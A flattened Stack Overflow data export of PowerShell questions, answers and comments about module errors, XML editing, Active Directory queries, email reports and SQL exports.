has text: i commented out the 'Az' module in requirements file now im getting this error although pnp is in my requirements file : 2025-01-07T11:17:11.094 [Warning] The Function app may be missing the 'PnP.PowerShell' module. If 'PnP.PowerShell' is available on the PowerShell Gallery, add a reference to this module to requirements.psd1. Make sure this module is compatible with PowerShell 7. For more details, see https://aka.ms/functions-powershell-managed-dependency.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79335176

http://stackoverflow.com/comment/139884672
comment on: http://stackoverflow.com/q/79325779
type: QuestionComment
type: Comment
has text: I am getting the desired output with the below script- $User = Read-Host -Prompt "Enter the username" Get-ADUser -identity $User -properties msExchExtensionCustomAttribute2 | Select -ExpandProperty msExchExtensionCustomAttribute2 | Out-File "C:\temp\pwsh.txt"
score: 0

http://stackoverflow.com/comment/140007537
score: 0
has text: Good to know ArrayList is depreciated. Wasn't aware of Generic lists, so guess I have some reading to do. I think what you are saying about the string array not being available later is a matter of memory conservation? Will try to research the rest of the things changed also, though not sure how I would describe each.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79386369

http://stackoverflow.com/comment/139902762
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79335176
type: Comment
has text: i refreshed reran and it gave me the same error again but still ran the script perfectly.... this might be just azure messing with me at this point , as i said if i show you my kudu files , it even downloads the needed dependencies sometimes and sometimes not without me changing anything and purely hitting run script again ..

http://stackoverflow.com/comment/139940688
has text: store this data as CSV then you have no trouble reading it back
type: Comment
comment on: http://stackoverflow.com/q/79355571
score: 3
type: QuestionComment

http://stackoverflow.com/q/79258847
tagged with: powershell
answer count: 1
type: AnsweredQuestion
downvote count: 1
has title: DLL works on Windows pwsh but not Linux?
upvote count: 1
score: 0
tagged with: linux
favorite count: 0
tagged with: powershell-core
has answer: http://stackoverflow.com/a/79268255
type: Question
accepted answer: http://stackoverflow.com/a/79268255
tagged with: powershell-7.4
has body: I have the following script called Minimal.ps1: Add-Type -LiteralPath "$PSScriptRoot/lib/JsonPatch.Net.dll" $ErrorActionPreference = "Stop" [System.Text.Json.JsonSerializer]::Deserialize[Json.Patch.JsonPatch]("[]") In the lib directory I have is extracted the content of lib/net8.0/ from the JsonPatch.Net 3.2.3 Nuget package. On windows (pwsh 7.4), the script works: $ pwsh ./Minimal.ps1 Operations ---------- {} When I try to run the same script on linux in docker it fails: $ docker run --rm -it -v .:/test -w /test mcr.microsoft.com/dotnet/sdk:8.0.404 /usr/bin/pwsh ./Minimal.ps1 MethodInvocationException: /test/Minimal.ps1:6 Line | 6 | [System.Text.Json.JsonSerializer]::Deserialize[Json.Patch.JsonPatch]( … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Exception calling "Deserialize" with "1" argument(s): "Could not resolve type 'Json.Patch.PatchJsonConverter' in assembly 'JsonPatch.Net, Version=3.0.0.0, Culture=neutral, | PublicKeyToken=17ed63f672b0e278'." I tried to create an instance of PatchJsonConverter explicitly but it returned the same error (could not resolve type). I saw that JsonPatch.Net had dependencies on Json.More.Net, JsonPointer.Net, Humanizer.Net. When trying to also load these dlls on linux with Add-Type, I get errors like this, except for Humanizer.Net that loads correctly. Add-Type -Verbose -LiteralPath "$PSScriptRoot/lib/Json.More.dll" | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Could not load file or assembly 'Json.More, Version=2.0.0.0, Culture=neutral, PublicKeyToken=17ed63f672b0e278'.
tagged with: json-patch

http://stackoverflow.com/comment/139741606
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79245493
score: 0
has text: Meaning, if the question is actually **Can PowerShell compare files and list those are the same**? -s-i-z-e-?-, it is a dupplicate with: [how to speed up ForEach-Object MD5/hash check](https://stackoverflow.com/q/59914704/1701026).

http://stackoverflow.com/comment/139750866
score: 0
comment on: http://stackoverflow.com/q/79250687
type: QuestionComment
has text: However, in the case at hand - assuming that you don't need a stay-open (`/K`) `cmd.exe` session to mediate your `mc.exe` calls - you can define the alias directly with the target path: `Set-Alias mc "C:\Program Files (x86)\Midnight Commander\mc.exe"`
type: Comment

http://stackoverflow.com/comment/139822090
comment on: http://stackoverflow.com/a/79288500
type: Comment
has text: Damn, email handler is not working What variable will push the content? $msg.Subject = "Servers DiskSpace Report for $titledate" $msg.IsBodyHTML = $true $msg.Body = get-content $DiskReportFile $smtp.Send($msg) $body = "" } }
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139852433
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79307730
type: AnswerComment
has text: Glad to hear it, @VerityFreedom. As of Windows 11, it is only _Windows PowerShell_ (whose latest and _last_ version is v5.1) that ships with the OS (whereas _PowerShell (Core) 7_ must be installed _on demand_), and it uses the system's active _ANSI_ code page by default when reading BOM-less files, and, with `Set-Content` also when _writing_ files (whereas `Out-File` / `>` default to UTF-16LE) - but external programs may default to different encodings.

network-programming
tag name: network-programming
tags question: http://stackoverflow.com/q/79347202
type: Tag
tags question: http://stackoverflow.com/q/79294035
tags question: http://stackoverflow.com/q/79539932

hlk
type: Tag
tag name: hlk
tags question: http://stackoverflow.com/q/79318657

http://stackoverflow.com/comment/139995268
comment on: http://stackoverflow.com/a/79383869
type: AnswerComment
score: 1
has text: @sirtao so, interestingly Get-UICulture returns US-English, despite the fact that the windows install is obviously not using that setting given the correct date and time format showing up in the task bar. As for a new thread, I don't understand the need. This thread is asking how to get correct formatting in the console, and has been asking that since my initial post. My sense is the actual answer is "you can't".
type: Comment

http://stackoverflow.com/comment/139777525
score: 0
comment on: http://stackoverflow.com/a/79266755
type: AnswerComment
type: Comment
has text: _"The focus of my statement is: assuming that the RHS has run to completion and can be assigned to the target variable without violating a type constraint, is there a way for Stop-Job to get in the way of the assignment"_ Yes. That is exactly the topic of this question.

http://stackoverflow.com/comment/139873338
type: Comment
has text: "*how can I mark your answer as good*" You cannot as it were not answers, only comments. Which one did help?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79319936

http://stackoverflow.com/comment/139873287
has text: BTW it's not forking, it's cloning. A fork is a copy of a GitHub repository in your GitHub namespace.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/79319936
type: Comment

http://stackoverflow.com/a/79344966
has body: use $Local:Profile The prefix specifics the Scope of the variable, in this case Local(as in: the function). You can then assign it to a different-named variable. function Get-Thing { [CmdletBinding()] param( [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidAssignmentToAutomaticVariable', "I'm making sure tu assign it to a local variable in the script")] [string]$Profile ) $LocalProfile = $Local:Profile $LocalProfile $Global:PROFILE } which wil result into: PS > Get-Thing -Profile TT TT C:\Users\[REDACTED]\Documents\PowerShell\Microsoft.Powershell_profile.ps1
answers question: http://stackoverflow.com/q/79344857
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/139923269

http://stackoverflow.com/a/79421751
type: Answer
has body: Here are 3 example filenames. It is the list of the Python Documentation Zip file. I am just learning thanks for the WhatIf suggestion, I will use that from now on. As for the code given to me from SirTao, that script did not uppercase the filenames that had single words such as tutorial.pdf stayed tutorial.pdf howto-annotations.pdf whatsnew.pdf tutorial.pdf I had an entire conversation with Gemini AI for about 5 hours last night. Gemini gave me strong suggestions. I suggested executing one script and then executing a separate second one, and Gemini agreed. I tried executing the first script that kept the list in order but did not capitalize the single-word filenames, as I executed the second script; PowerShell gave me an error about the file already existing. I then gave Gemini the two variations of the script I originally provided here. Gemini updated its script to handle the error and created a solution for an absolute path. The error here is something I saw when I was younger but I forgot because I stopped studying computers. In order to manipulate files. You have to construct the full filename from scratch. I learned you cannot let a language like C handle filenames even if it has a library for file I/O. I forget why manipulating filenames causes this behavior but the issue is about the language's privileges and how the directory path is an actual place in memory. Here is the code Gemini finished with. It is definitely similar to my original script compared to the other recommendations given by Gemini, but more error handling and the solution for the perfect file path. I say this comment because if you use Gemini, you should still provide your solutions to the project. # Get files, preserve order $files = Get-ChildItem $dirPath -File | Sort-Object FullName foreach ($item in $files) { $filename = $item.Name # Get the original filename (including extension) $extension = $item.Extension # Store the extension separately $myString = $filename -replace "-", " " $mySt…
score: 0
answers question: http://stackoverflow.com/q/79420062

http://stackoverflow.com/comment/140011621
type: Comment
has text: Generic Lists are better than ArrayList at quite literally everything. Unless you are using Powershel 2, use them. For the array: Arrays are Fixed Size in Powershell. You do not add\remove elements, you remake the array from scratch each time. Exponentially inefficient(though much improved in 7.5+) especially visible with 1000+ items arrays. So if you want to add\remove items after the Array is created, use Generic List instead. If you only want to read the elements or change them(but not add them), regular Array is fine(even better because less frills)
score: 0
comment on: http://stackoverflow.com/a/79386369
type: AnswerComment

http://stackoverflow.com/a/79359542
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/79359466
upvote count: 1
has body: Preface: Santiago's helpful answer offers an XPath-based solution to locate the element of interest. While using XPath offers the greatest flexibility and most efficient approach to querying an XML DOM, it does constitute a separate language you'll have to master. As for the .NET-specific implementation of XPath, see System.Xml.XPath, which implies that version 2.0 of the XPath standard is supported, though in practice .NET's implementation appears to be incomplete. By contrast, the solution below relies on PowerShell's adaptation of the xml DOM, which - while typically being less efficient - enables a PowerShell-native solution for locating the XML element of interest. Find the parent element of interest as follows, using the Where-Object cmdlet for filtering: $parentEl = $xml.UserPreferences.Record | Where-Object Key -eq ToolSetManager Then call .AppendChild() on it: $null = $parentEl.AppendChild($newElement1) As an aside: As noted, the new element you're trying to insert isn't structured in the same way as the existing &lt;ToolSet&gt; child elements. To match the structure of the existing elements, as an alternative to using method calls iteratively or cloning existing elements, use an [XmlDocumentFragment] instance, as shown below. $newElement1 = $xml.CreateDocumentFragment() $newElement1.InnerXml = @' &lt;ToolSet&gt; &lt;Path&gt;{0}&lt;/Path&gt; &lt;Title&gt;{1}&lt;/Title&gt; &lt;/ToolSet&gt; '@ -f 'Null.btx', 'Null' Note the use of a (verbatim) here-string in combination with -f, the format operator.

port
type: Tag
tags question: http://stackoverflow.com/q/79247237
tag name: port

http://stackoverflow.com/comment/140059720
score: 1
comment on: http://stackoverflow.com/a/79415054
type: AnswerComment
has text: yeah that works nicely now! Thanks again! I wish I could mark both of the answers here as the accepted answer. ;)
type: Comment

http://stackoverflow.com/comment/139924440
has text: ... Such modules in a narrow sense are usually packaged as part of a _folder_ that also contains supporting files, notably a [module manifest](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_Module_Manifests).
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79340490

rundeck
tag name: rundeck
type: Tag
tags question: http://stackoverflow.com/q/79254020

http://stackoverflow.com/comment/140009103
type: Comment
has text: @bryanbcook I believe this is just a copy/paste error
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79391481

http://stackoverflow.com/q/79395359
has answer: http://stackoverflow.com/a/79395366
score: 1
has body: I am trying to modify a PowerShell script found here: https://www.cyberdrain.com/monitoring-with-powershell-wan-ip-changes-and-active-directory-ages/ Ideally, I would like the script to return user accounts that haven't been logged into for $ENV:UserAge while also filtering out user accounts I know do not need to be included in the results. $ENV:UserAge = 90 $ENV:Excluded = ("guest@domain.local") $age = (get-date).AddDays(-$ENV:UserAge) $OldUsers = Get-ADuser -Filter * -properties UserPrincipalName, Enabled, WhenCreated, LastLogonDate | select UserPrincipalName, Enabled, WhenCreated, LastLogonDate | Where-Object { ($_.LastLogonDate -lt $age -and $_.LastLogonDate -gt $null) -and ($_.Enabled -eq $True) -and ($_.UserPrincipalName -gt $Null) -notmatch ($_.UserPrincipalName -in $Env:Excluded ) } This will filter out a user with UserPrincipalName = guest@domain.local, but when I add another account like $ENV:Excluded = ("guest@domain.local", "test@domain.local") this returns a result including both of the intended excluded accounts. Any suggestions for being able to exclude multiple strings under the $ENV:Excluded variable?
upvote count: 1
has title: Get-ADUser -Filter using Variable Array
has answer: http://stackoverflow.com/a/79395417
answer count: 2
accepted answer: http://stackoverflow.com/a/79395417
possible better answer: http://stackoverflow.com/a/79395366
favorite count: 0
tagged with: active-directory
type: Question
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140015913

http://stackoverflow.com/q/79294035
answer count: 1
downvote count: 0
tagged with: file
tagged with: powershell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79294223
upvote count: 1
has title: Powershell - Keeping a mapped drive open for saving document
tagged with: drive
score: 1
favorite count: 0
tagged with: save
has body: I have a powershell script I've created that stores a copy of a text file to a mapped drive over a WAN VPN when the text file on the host machine is modified. It works fine until there is a brief drop in Internet connection, the VPN reconnects and is fine, but the mapped drive has a red X on it, but IS accessible when I double click on it. The script doesn't see it as active until I've manually clicked into the red X mapped drive to 'reinstate' its availability. I guess my question would be, what would be the best way to check if the folder is available and then store the text file there. Would it just be "oepn said folder, close and then save file"... ? Thanks,
tagged with: network-programming
type: Question

http://stackoverflow.com/q/79291666
upvote count: 0
type: UnansweredQuestion
favorite count: 0
has body: Regarding the amazing help received in Diskspace Report HTML Text Color Output I'm now trying to email the output but not sure how to package it up. Appreciate the help immensely. I'm trying to figure it out but typical non-coder brick walls. ## Compiles the $HtmlTeplate with the values for the title date, the CSS and the disk rows. ## because $HtmlTableRowArray is an array, it needs to be converted to a single string through -Join. ## The resulting string is then set on the report file $HtmlTemplate -f $titleDate, $css, ($HtmlTableRowArray -join [System.Environment]::NewLine) | Set-Content -Path $DiskReportFile # Send Notification if alert $i is greater then 0 if ($i -gt 0) { foreach ($user in $users) { Write-Host "Sending Email notification to $user" $smtpServer = "10.200.200.200" $smtp = New-Object Net.Mail.SmtpClient($smtpServer) $msg = New-Object Net.Mail.MailMessage $msg.To.Add($user) $msg.From = "disksspacereport@typicalMSP.com" $msg.Subject = "Servers DiskSpace Report for $titledate" $msg.IsBodyHTML = $true $msg.Body = get-content $<WHAT TO PUT HERE?> - I'm guessing another variable attached to the path variable.> $smtp.Send($msg) $body = "" } }
score: -1
has answer: http://stackoverflow.com/a/79293565
has title: Emailing Script Output
has comment: http://stackoverflow.com/comment/139822661
type: Question
has comment: http://stackoverflow.com/comment/139823208
answer count: 1
linked to: http://stackoverflow.com/q/79288185
tagged with: powershell
downvote count: 1

http://stackoverflow.com/comment/139785946
type: QuestionComment
type: Comment
score: 0
has text: You create COM objects, but never release them from memory with `[System.Runtime.Interopservices.Marshal]::ReleaseComObject()`. No wonder Word is gobbling up your memory
comment on: http://stackoverflow.com/q/79268940

http://stackoverflow.com/q/79345689
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has title: Trouble calling an activate script from within a powershell script
score: 0
tagged with: python
has body: I'm trying to write some powershell scripts to "one-click" some setup for project initialisation. I am unable to get it to call the activate script. Typically, in a terminal I would create the virtual environment, then call the activate script using .\venv\Scripts\Activate. However, because I want to have the script be flexible, I am letting (forcing) users to pick a name for their virtual environment. Onto the script: function Make-Python-Environment { [CmdletBinding()] #make an advance function Param( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [String]$VirtualEnvName, [Parameter(Mandatory)] [TransformBooleanInputs()] # not relevant to this, just parses string to boolean t/f [switch]$IncludeDotEnv = $False ) begin { Write-Host "This is only a test" } end { $ThisDir = (Get-Item .).FullName if($IncludeDotEnv){ New-Item ".env" -Force Write-Host ".env file has been created in the current directory." } else { Write-Host "Skipping .env creation." } if($VirtualEnvName){ py -m venv $VirtualEnvName Write-Host "Created virtual environment at" (Join-Path -Path $ThisDir -ChildPath $VirtualEnvName) .\$VirtualEnvName\Scripts\Activate #<-- point of failure } } } This is the output when I run the script: PS C:\Users\Alan> Make-Python-Environment cmdlet Make-Python-Environment at command pipeline position 1 Supply values for the following parameters: VirtualEnvName: fa IncludeDotEnv: 1 This is only a test Directory: C:\Users\Alan Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 09/01/2025 13:41 0 .env .env file has been created in the current directory. Created virtual environment at C:\Users\Alan\fa .\$VirtualEnvName\Scripts\Activate : The term '.\$VirtualEnvName\Scripts\Activate' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At C:\Users\Alan\Documents\PythonSetup.ps1:54 char:9 + .\$VirtualEnvName\Scripts\Acti…
accepted answer: http://stackoverflow.com/a/79345788
type: Question
has answer: http://stackoverflow.com/a/79345788

http://stackoverflow.com/comment/139967686
score: 1
type: QuestionComment
type: Comment
has text: RDP to ServerName and find the folder which is shared and take properties and check Share settings, the AD account should be able to access both the share and also have write permissions to the "Security" of the share. You can try running `dir \\sharename` from xp_cmdshell to see what kind of errors you get
comment on: http://stackoverflow.com/q/79369758

http://stackoverflow.com/q/79293130
has comment: http://stackoverflow.com/comment/139828022
has comment: http://stackoverflow.com/comment/139828386
has answer: http://stackoverflow.com/a/79293814
accepted answer: http://stackoverflow.com/a/79293814
has comment: http://stackoverflow.com/comment/139826529
has comment: http://stackoverflow.com/comment/139826078
has comment: http://stackoverflow.com/comment/139825961
has title: Calling a method returned from another method in Powershell
has comment: http://stackoverflow.com/comment/139826034
type: Question
has comment: http://stackoverflow.com/comment/139826206
answer count: 1
has comment: http://stackoverflow.com/comment/139827470
has body: I'm trying to invoke a function returned from another function. Basically I have a bunch of functions to be called depending on some condition: function func1 {write-host "hello func1"} function func2 {write-host "hello func2"} # ... function getfunc([char]$condition) { switch ($condition) { '1' {return func1} '2' {return func2} # ... } } function main { &getfunc('1') } Calling main yields the correct result hello func1. However, I can't seem to make these work for class methods as they require me to specify the type of returned value for a method: class MyClass { [char]$condition [void] func1() {write-host "hello func1"} [void] func2() {write-host "hello func2"} # ... [string[]] getfunc() { # what type to put in here ? switch ($this.condition) { '1' {return $this.func1} '2' {return $this.func2} # ... } return "" } [void] main() { $this.condition = '1' & $this.getfunc() } } [MyClass]::new().main() I tried using [string[]] with no luck: & : The term 'void func1()' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. How do I do this ?
linked to: http://stackoverflow.com/q/40977472
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139825831
score: 0
has comment: http://stackoverflow.com/comment/139826527

http://stackoverflow.com/comment/140044771
type: QuestionComment
type: Comment
has text: @user66001, please try the updated function, which now uses `.GetAuthorizationGroups()` instead of `.GetGroups()` in order to enumerate (security) group memberships _recursively_. Given that the `Domain Admins` group is by default also a member of the `Administrators` group, I'm hoping this now covers all cases.
score: 0
comment on: http://stackoverflow.com/q/79410051

http://stackoverflow.com/q/79310971
has comment: http://stackoverflow.com/comment/139857384
type: UnansweredQuestion
tagged with: python
tagged with: excel
linked to: http://stackoverflow.com/q/54449520
tagged with: win32com
favorite count: 0
type: Question
has body: System setups: Development PC: Win 10,Python 3.7.7, PyInstaller 5.3.12 Deployment PC: Win11, No Python installled I've made a CLI python script (running from Windows CMD) with the following simple logic: When started, open a TKinter's "Select file" GUI dialogue wiht filedialog.askopenfilename() Once .xlsx file has been selected, open MSExcel with win32com.client.Dispatch('Excel.Application') Then enter a while(1) loop in the background, waiting for the user to press Spacebar When user presses spacebar, write a number to Excel's active cell with ExcelApp.ActiveCell.Value = <some number> Move the active cell "cursor" inside Excel down by 1 row with ExcelApp.ActiveCell.GetOffset(1,0).Select() When ran as a .py with python myScript.py, it works 100% as intended without errors. Script could even write values to .xlsx files that user opens from OneDrive integration folders. All good. However, the Win11 PC that the script is supposed to be deployed to has no Python installed. Let's assume that Python cannot be installed on that PC at all due to i.e. no admin rights. Therefore I packaged the script as a standalone .EXE with Pyinstaller using: python -m PyInstaller --noconfirm --onedir --console "myScript.py" The deployment to the Win11 pc was done in January, 2024. The packed .exe version of the script worked absolutely fine without ANY problems throughout the entire year. Then, on 27th of December 2024 it decides to randomly out of the blue throw the following exception: File "win32com\client\dynamic.py line 627, in _getattr__ pywintypes com_error: (-2147418111, 'Call was rejected by callee, none, none) I immediately run a number of tests: Copy the myScript.exe from Deployment to Dev machine and run it there. PASS. Re-build the last version of the .py script with PyInstaller on the Dev Machine, then copy .exe to deployment PC and run. FAIL! Same Exception. Re-build the last version of the .py script with PyInstaller on the Dev Machine, then copy it to deployment PC and run…
downvote count: 0
score: 2
answer count: 0
upvote count: 2
tagged with: pywin32
tagged with: powershell
has title: PyWin32 throws "pywintypes com_error call was rejected" error, but only when NOT running from CMD

http://stackoverflow.com/comment/140048426
comment on: http://stackoverflow.com/a/79405605
type: Comment
has text: Thanks, that's very helpful. Now that I know it's de facto behaviour, there's no bug report I need to make to VS Code.
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139810656
type: QuestionComment
type: Comment
has text: @starball: thank you for this hint. Thx to the extension bisect, I was able to nail it down to the `ms-vscode.powershell` extension - I've updated the question with my findings. Now I will file an issue in the corresponding GitHub repo.
comment on: http://stackoverflow.com/q/79264325
score: 0

http://stackoverflow.com/comment/139952832
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79361998
type: Comment
has text: Have a look [here](https://sharepoint.stackexchange.com/a/284655)

http://stackoverflow.com/comment/139869737
score: 0
comment on: http://stackoverflow.com/q/79318047
type: QuestionComment
has text: `$TestPath.Configure.Set | Where-Object name -EQ 'KeyStorePath' | ForEach-Object InnerText` is fine too, that should be working properly. Are you certain that's returning no results?
type: Comment

http://stackoverflow.com/comment/139968855
comment on: http://stackoverflow.com/q/79369963
type: Comment
has text: how are you passing the PATH to Powershell?
score: 1
type: QuestionComment

http://stackoverflow.com/comment/140027273
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79401218
score: 0
has text: Also, I have tried $_.Value, but that produces no result for the item in my case.

http://stackoverflow.com/q/79355961
score: 0
type: UnansweredQuestion
answer count: 0
has title: Running powershell for VM checkpoint restore via double clicking a batch file or .ps1 file
type: Question
has body: Afternoon. I'm new new to this and trying to expand my knowledge so forgive me if I sound way off from left field. I have a PC running a VM that I use to teach students some of our software install in various situation. I have used a program called AOMEI backupper to restore via a batch file but I've found it will sometimes bork and just leave the computer in a loop or bluescreen. With that info I have not decided to do VM instead. I have gotten the VM up and running how I would like it and starting to slightly understand the VM process but I'm stumped at this part. When I want to restore a VM to a prior checkpoint I have found my appropriate scrip to type into the powershell, however I notice it MUST be elevated to admin. My current script is: start-process powershell -verb runAs restore-vmcheckpoint -name "start of class" -vmname "server1" -confirm:$false When running that it will open powershell into admin but doesn't bring over the other info to run so it just sits there. The above script is saved as a .ps1 file. I have tried to batch file this with no success. I run a program called netsupport that allows me to highlight all student machines and run a file as needed. EX: I can run Teamviewer by "sending" it to them which is just the program executing that file directly on the students PC. At the end of the day I'm looking to try to double click a single file on the VM host and have it restore a VM to a prior checkpoint. It is a niche use I know but hoping I can put this together to automate it vs having to log into 18 different machines and manually reset the VM back to OG.
tagged with: hypervisor
tagged with: powershell
has comment: http://stackoverflow.com/comment/139942647
tagged with: virtual-machine
has comment: http://stackoverflow.com/comment/139942619

http://stackoverflow.com/a/79359553
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/139948618
has comment: http://stackoverflow.com/comment/139948937
has body: To select the node having Key equal to ToolSetManager you can use SelectSingleNode with the following XPath: $node = $xml.SelectSingleNode("//Record[@Key='ToolSetManager']") Then $node should look like: Key ToolSet --- ------- ToolSetManager {ToolSet, ToolSet} Then if you wanted to add a new to , the code is a bit more annoying, what you currently have will not generate the same nodes as the ones your XML has, you'd get something like this using your current approach: When what you want is most likely: Null.btx <Title>Null The easiest way could be by cloning one of those elements and then updating its values, i.e.: $clone = $node.ToolSet[0].Clone() $clone.Path = 'Null.btx' $clone.Title = 'Null' $null = $node.AppendChild($clone) Another way, much more manual can be: # Create $toolset = $xml.CreateElement('ToolSet') # Create $path = $xml.CreateElement('Path') # Add Null.txt to $null = $path.AppendChild($xml.CreateTextNode('Null.btx')) # Add to $null = $toolset.AppendChild($path) # Create <Title> $title = $xml.CreateElement('Title') # Add Null to <Title> $null = $title.AppendChild($xml.CreateTextNode('Null')) # Add <Title> to $null = $toolset.AppendChild($title) # Add to $null = $node.AppendChild($toolset) Then if you save the updated $xml (there you can use $xml.Save('path\to\xml')) it should look like: Tool Set 1.btx <Title>Tool Set 1 My Tool Set.btx <Title>My Tool Set Null.btx <Title>Null
upvote count: 2
answers question: http://stackoverflow.com/q/79359466
accepted answer of: http://stackoverflow.com/q/79359466

http://stackoverflow.com/comment/139746349
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79245869
type: AnswerComment
has text: @alx9r, I've updated the answer to point out that graceful termination of console applications _running in Windows Terminal_ is currently unsupported. That said, I still think the behavior in _regular console windows_ is a bug: it seems that cleanup is _started_, but not given a chance to _finish_. I'll eventually weigh in on the GitHub issue.

http://stackoverflow.com/comment/139816986
type: AnswerComment
comment on: http://stackoverflow.com/a/79288500
has text: Good answer. I would only suggest pointing out the specific css/style changes you made and how you are programmatically updating the class of the last percentage cell to use them. Otherwise, bravo :)
type: Comment
score: 0

http://stackoverflow.com/comment/140001639
comment on: http://stackoverflow.com/a/79386369
type: AnswerComment
has text: Thanks for the suggestions. Could you expand on the why for any/all of them? Especially the split line that is seen as superfluous, given I need to get the SP number some way.
type: Comment
score: 0

http://stackoverflow.com/comment/139870413
type: Comment
comment on: http://stackoverflow.com/q/79316429
score: 1
has text: I was able to execute the above command in gitbash without any changes
type: QuestionComment

http://stackoverflow.com/comment/139991427
has text: `Invalid namespace In line:1 Character:1`
comment on: http://stackoverflow.com/q/79382069
score: 2
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140178540
type: Comment
comment on: http://stackoverflow.com/q/79368281
has text: It's been a while now - i'm about to post a different duplicate+powershell question - but i think strictly speaking, my issue was when using ISE, i was getting no output. No errors, no write-host
score: 0
type: QuestionComment

http://stackoverflow.com/q/79392047
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140009320
downvote count: 0
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79392109
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/79392109
favorite count: 0
has title: What is ScopedItemOptions?
type: Question
has body: I've read some discussion on github metioned that Item cmdlets have Options. The only documentation I found is this Are options only specific to Item cmdlets? What are these dedicated options for? To describe the state of the item under a PSDrive? Are we allowed to specify some of options in custom function? If we could specify options for function, what are the cases that we would need it?
tagged with: powershell-core

http://stackoverflow.com/comment/139873351
has text: the first link helped me
type: QuestionComment
comment on: http://stackoverflow.com/q/79319936
type: Comment
score: 0

http://stackoverflow.com/comment/140019692
type: QuestionComment
comment on: http://stackoverflow.com/q/79397285
type: Comment
score: 0
has text: Use `Get-ChildItem` to discover the files to delete, then filter using `Where-Object`: `Get-ChildItem -File -Recurse -Force |Where-Object Extension -notin '.zip','.log' |Remove-Item`

http://stackoverflow.com/comment/139781178
has text: How about new-winevent?
score: 0
comment on: http://stackoverflow.com/q/79265704
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140035650
comment on: http://stackoverflow.com/q/79405109
has text: I'm not aware of a way to disable it, but for `"scripts"` commands defined in `package.json` you can _override_ it; see [this answer](https://stackoverflow.com/a/79228357/45375).
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79342908
tagged with: powershell
type: UnansweredQuestion
has body: I am trying to host a private PowerShell module as a GitHub Package using NuGet registry. These are the steps I followed to publish the module to GitHub. I first registered the repository in PowerShell $Repository = @{ Name = 'Github' SourceLocation = 'https://nuget.pkg.github.com/&lt;OrganizationName&gt;/index.json' PublishLocation = 'https://nuget.pkg.github.com/&lt;OrganizationName&gt;/index.json' InstallationPolicy = Trusted Credential = (Get-Credential) } register-psrepository @Repository I then published the module to the repository Publish-Module -Path &lt;Path to Module&gt; -Repository Github -NuGetApiKey &lt;PAT Token&gt; I then connected the package to a private repository. I can see that the package has been published in GitHub. But when I try to find the package in the repository, it returns null. Find-Module find-module -repository readibots -credential (Get-Credential) I am using the same credentials everywhere.
score: 1
upvote count: 1
favorite count: 0
has title: Not able to install Powershell Module Published to GitHub Packages
type: Question
tagged with: github-packages
answer count: 0
downvote count: 0
tagged with: powershell-7.4

http://stackoverflow.com/comment/139885308
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79325726
has text: Let us [continue this discussion in chat](https://chat.stackoverflow.com/rooms/259020/discussion-between-user3276487-and-jahnavi).
type: QuestionComment

http://stackoverflow.com/comment/139772340
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79254833
has text: @Azeem, already tried it (before posting) and the result was exactly the same. It's like the try catch block doesn't catch anything

http://stackoverflow.com/a/79369933
has body: Re 2 (use from cmd.exe, aka Command Prompt): I want to use dynamic filename and pass dynamic parameter values to the stored procedure. Analogous to your PowerShell solution attempt, you can set a cmd.exe variable that you can reference in your command, by enclosing the variable name in %...%: :: From cmd.exe / a batch file set "filename=\\serverlocation\Test\FileExport_Test_1" BCP "EXEC [dbName].[dbo].[StoredProcedureName] @AreaID=NULL" queryout "%filename%.csv" -T -S SourceServerName -c -t Note: In the absence of a -C argument, the character encoding used for writing the output file is implied by the current console window's code page, as reflect in [Console]::OutputEncoding from PowerShell; that code page defaults to the legacy system locale's OEM code page, such as CP437 on US-English systems. While -C 65001 would result in UTF-8 encoding, it would not include a BOM, however. Re 3 (use of Invoke-SqlCmd from PowerShell): Your only problem is that you're invoking your command while the current location is set to SQLSERVER:\, which prevents you from using a UNC path as-is, because it is - perhaps surprisingly - interpreted as a relative path, i.e. relative to the provider underlying the current location.[1] The simplest solution is to use a provider prefix in front of your UNC path, namely that of the FileSystem provider, FileSystem::: # From PowerShell Invoke-Sqlcmd -Query "EXEC [dbName].[dbo].[StoredProcedureName] @AreaID=NULL" -ServerInstance "SourceServerName" | Export-Csv -Path "FileSystem::$filename.csv" -NoTypeInformation 